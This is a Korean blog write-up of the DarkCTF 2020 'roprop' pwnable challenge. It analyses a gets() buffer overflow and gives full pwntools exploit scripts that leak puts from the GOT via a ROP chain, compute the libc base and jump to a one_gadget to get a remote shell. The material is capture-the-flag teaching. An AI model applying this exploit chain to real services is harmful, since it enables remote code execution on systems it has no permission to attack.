[DarkCTF 2020] rop write up
글 작성자: Universe7202
pwnable 분야의 첫번째 문제 roprop 이다.
(write up을 작성하는 시점에서 서버가 닫혀있어 설명하는데 지장이...)
Checksec
ubuntu:~/environment/ctf/DarkCTF/pwn/01_rop $ checksec roprop
[*] '/home/ubuntu/environment/ctf/DarkCTF/pwn/01_rop/roprop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Analyze
바이러니는 `main` 함수만 정의 되어 있다. `gets()` 함수에서 `BOF` 공격이 가능한 것을 볼 수 있다.
우선 `libc address` 를 얻기 위해 `puts()` 함수의 `GOT`를 leak 한다. 아래 코드로 `puts()` 함수의 `GOT`를 leak 한뒤,
libc database 사이트에서 libc 파일을 다운 받는다.
from pwn import *
p = remote("roprop.darkarmy.xyz", "5002")
e = ELF("./roprop", checksec=False)
payload = "A" * 0x58
payload += p64(0x400963) # pop rdi; ret
payload += p64(e.got["puts"])
payload += p64(e.plt["puts"])
payload += p64(e.symbols["main"])
p.sendlineafter("19's.", payload)
puts_got = u64(p.recvuntil("\x7f\x0a").replace("\x0a", "").ljust(8, "\x00"))
print("[*] puts_get: "+hex(puts_got))
p.interactive()
libc database 사이트에서 다운받은 파일로 `one_gadget` 툴을 사용하여 `oneshot gadget offset`을 획득한다.
아래 사진처럼 3개의 offset이 출력 된 것을 볼 수 있다.
위 `oneshot gadget` 3개 중 아무거나 입력하여 `ret`에 overwrite 하면 shell이 실행된다.
from pwn import *
import gdb_attach
p = remote("roprop.darkarmy.xyz", "5002")
e = ELF("./roprop", checksec=False)
l = ELF("./libc6_2.27-3ubuntu1.2_amd64.so",checksec=False)
payload = "A" * 0x58
payload += p64(0x400963) # pop rdi; ret
payload += p64(e.got["puts"])
payload += p64(e.plt["puts"])
payload += p64(e.symbols["main"])
p.sendlineafter("19's.", payload)
puts_got = u64(p.recvuntil("\x7f\x0a").replace("\x0a", "").ljust(8, "\x00"))
libc_base = puts_got - l.symbols["puts"]
one_gadget = libc_base + 0x4f365
print("[*] puts_get: "+hex(puts_got))
print("[*] libc_base: "+hex(libc_base))
payload = "A" * 0x58
payload += p64(one_gadget)
p.sendlineafter("19's.", payload)
p.interactive()
'🚩CTF' 카테고리의 다른 글
[DarkCTF 2020] web write up (0) | 2020.09.27 |
---|---|
[DarkCTF 2020] newPaX write up (0) | 2020.09.27 |
[Google CTF 2020] log-me-in write up (5) | 2020.08.27 |
[Google CTF 2020] pasteurize write up (0) | 2020.08.27 |
[pwnable.xyz] door write up (0) | 2020.08.10 |
댓글
이 글 공유하기
다른 글
-
[DarkCTF 2020] web write up
[DarkCTF 2020] web write up
2020.09.27 -
[DarkCTF 2020] newPaX write up
[DarkCTF 2020] newPaX write up
2020.09.27 -
[Google CTF 2020] log-me-in write up
[Google CTF 2020] log-me-in write up
2020.08.27 -
[Google CTF 2020] pasteurize write up
[Google CTF 2020] pasteurize write up
2020.08.27